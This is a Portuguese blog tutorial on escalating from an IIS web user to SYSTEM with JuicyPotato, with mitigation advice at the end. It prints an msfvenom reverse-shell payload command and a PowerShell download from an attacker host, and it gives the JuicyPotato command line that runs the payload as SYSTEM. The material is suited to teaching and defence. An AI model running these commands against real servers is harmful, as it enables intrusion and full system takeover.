Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Neste post será demonstrado como escalar privilégios no IIS com Juicy Potato (MS16-075): Um exemplo de como uma má configuração pode levar ao comprometimento total de um Webserver.

Criaremos uma situação hipotética em que um site está vulnerável a RFI (Remote File Inclusion). Desta forma, podemos incluir a URL de um Webshell para executarmos comandos.

Para saber mais sobre RFI recomendamos a Leitura clicando aqui .

Ao identificar o Website fictício http://ironlinux.tutorials/ vulnerável, precisaremos disponibilizar ou utilizar um Webshell público. Desta forma, através de uma VPS utilizamos o módulo SimpleHTTPServer do Python para realizar esta ação. Utilizaremos a porta 8080 nesta caso:

python -m SimpleHTTPServer 8080

Vamos executar o comando whoami && whoami /priv para verificar qual usuário está executando o website e qual é o nível de privilégio deste usuário:

whoami && whoami /priv

É possível identificar que o usuário ao qual temos acesso possui o privilégio SeImpersonatePrivilege. Através deste privilégio é possível escalar privilégio para o usuário SYSTEM com o exploit JuicyPotato.
Para saber mais sobre o JuicyPotato, recomendamos a leitura em http://ohpe.it/juicy-potato/ .

Primeiramente, precisaremos criar uma sessão no Meterpreter. Para isso, utilizaremos o MSFVenom. Caso não tenha visto ou queira mais detalhes sobre o MSFVenom, veja: https://blog.ironlinux.com.br/msfvenom-cheatsheet/ .

Criação e gravação do Payload no servidor alvo

Criaremos o payload no mesmo diretório em que estamos executando o SimpleHTTPServer do Python:

msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=kali.iron LPORT=443 -e x86/shikata_ga_nai -i 2 -f exe > shell.exe

Após isso, através do Webshell, iremos utilizar o Powerhsell para baixar nosso Payload para o diretório C:\Windows\Temp:

powershell.exe Invoke-WebRequest -Uri 'http://kali.iron:8080/shell.exe' -OutFile C:\Windows\Temp\shell.exe

Configuração Metasploit

Criaremos o payload no mesmo diretório em que estamos executando o SimpleHTTPServer do Python:

Agora que nosso handler no Metasploit já está aguardando conexões com o payload adequado, vamos executar o shell.exe através do Webshell para conseguir uma sessão Meterpreter:

Escalar privilégios no IIS com Juicy Potato

Para escalar privilégios no IIS com Juicy Potato, vamos interagir com a sessão 1 do Meterpreter e executar o comando “getuid” para checar se estamos no usuário do IIS:

Dentro da sessão Meterpreter, vamos realizar o upload do juicypotato.exe (que baixamos previamente aqui ) para o diretório ‘C:\Windows\Temp' através do comando:

upload /root/juicypotato.exe C:\\Windows\\Temp

Em seguida, vamos executar o comando abaixo para utilizar o juicypotato.exe com alguns parâmetros adicionais para executar nosso shell.exe através do usuário SYSTEM e receber uma nova shell:

C:\Windows\Temp\juicypotato.exe -l 1337 -p C:\Windows\Temp\shell.exe -t * -c {E60687F7-01A1-40AA-86AC-DB1CBF673334}

Ao invés de realizar o processo manualmente, também é possível escalar privilégio com esta técnica com o plugin “ms16_075_reflection_juicy” do Metasploit para obter acesso ao usuário SYSTEM:

Mitigação do ataque

Para evitar este tipo de ataque é recomendado:

  1. Desabilitar DCOM: https://support.microsoft.com/en-us/help/825750/how-to-disable-dcom-support-in-windows
  2. Restringir privilégios de usuários de serviço (SeImpersonatePrivilege  e SeAssignPrimaryTokenPrivilege)
  3. Desativar recursos que possibilitem o uso de Webshells
  4. Proteger os Webservers com algum IPS (Intrusion Prevention System) como Suricata ou Snort
  5. Ter um antivírus baseado em comportamento (Behavior-based)

Posts relacionados

Escalar privilégios com SUDO

Escalar privilégios com SUDO

O SUDO permite que um usuário execute um comando como super user (root), sendo ele um dos binários do linux que possibilita escalação de privilégio.

Ler post completo